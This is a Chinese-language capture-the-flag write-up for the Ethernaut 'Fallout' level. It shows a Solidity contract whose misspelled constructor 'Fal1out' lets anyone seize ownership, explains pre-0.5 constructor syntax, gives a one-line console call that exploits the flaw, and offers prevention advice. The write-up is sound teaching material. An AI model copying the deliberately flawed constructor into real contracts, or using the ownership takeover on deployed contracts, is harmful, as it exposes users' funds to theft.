// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
玩家要取得 Owner 的權限以通過此關 (owner == player // true)
建構式 : 如同字面上的意思,當程式碼在執行時會先行建構,通常會對變數等程式的各項細節做初始化的動作, 而 Solidity 裡也當然有建構式供開發者使用
constructor() {}
通常我們使用 constructor 做為建構式之關鍵字,但早期 Solidity 的語法中,建構式其實並不是以 constructor 關鍵字作為建構式的使用,而是宣告另一函數,且函數名稱與部署上鏈的合約名稱相同,而這個同名函數正是早期 Solidity 的建構式,可以看看下面的例子
pragma solidity 0.4.21;
contract Fallout {
address owner;
function Fallout() public {
owner = msg.sender;
}
}
可以從上述程式碼中看出,合約名稱為 Fallout 而開發者又宣告了一個函數 Fallout,這個額外宣告的 Fallout 即為早期 Solidity 使用建構式時的寫法。
至此,我們已經了解了早期的 Solidity 是如何運作建構子的,再回頭看看本關需要攻擊的程式碼吧,
可以發現建構子 Fal1out 和合約名稱 Fallout 名稱明顯不同,所以 Fal1out 並不具備建構子功能,而是單純的函數而已,我們也能從 abi 裡面發現 Fal1out 是一個能供使用者直接執行的函數。
那麼就廢話不多說直接來執行一次 Falout 吧
await contract.Fal1out.sendTransaction({from:player, value:toWei("0.00001")})
(っ◕‿◕)っ(っ◕‿◕)っ(っ◕‿◕)っ
預防的方式其實也很簡單,當你在使用建構子的時候記得核對一下合約的名稱和 function 的名稱是否一致,不過這也是早期 Solidity 的寫法,0.5 版之後使用建構子統一都需要加上 constructor 關鍵字了,所以如果今天你寫的合約是 0.5 之前的版本要記得多看一眼喔 |д•´)!!
https://ithelp.ithome.com.tw/articles/10217193
https://docs.soliditylang.org/en/v0.8.15/050-breaking-changes.html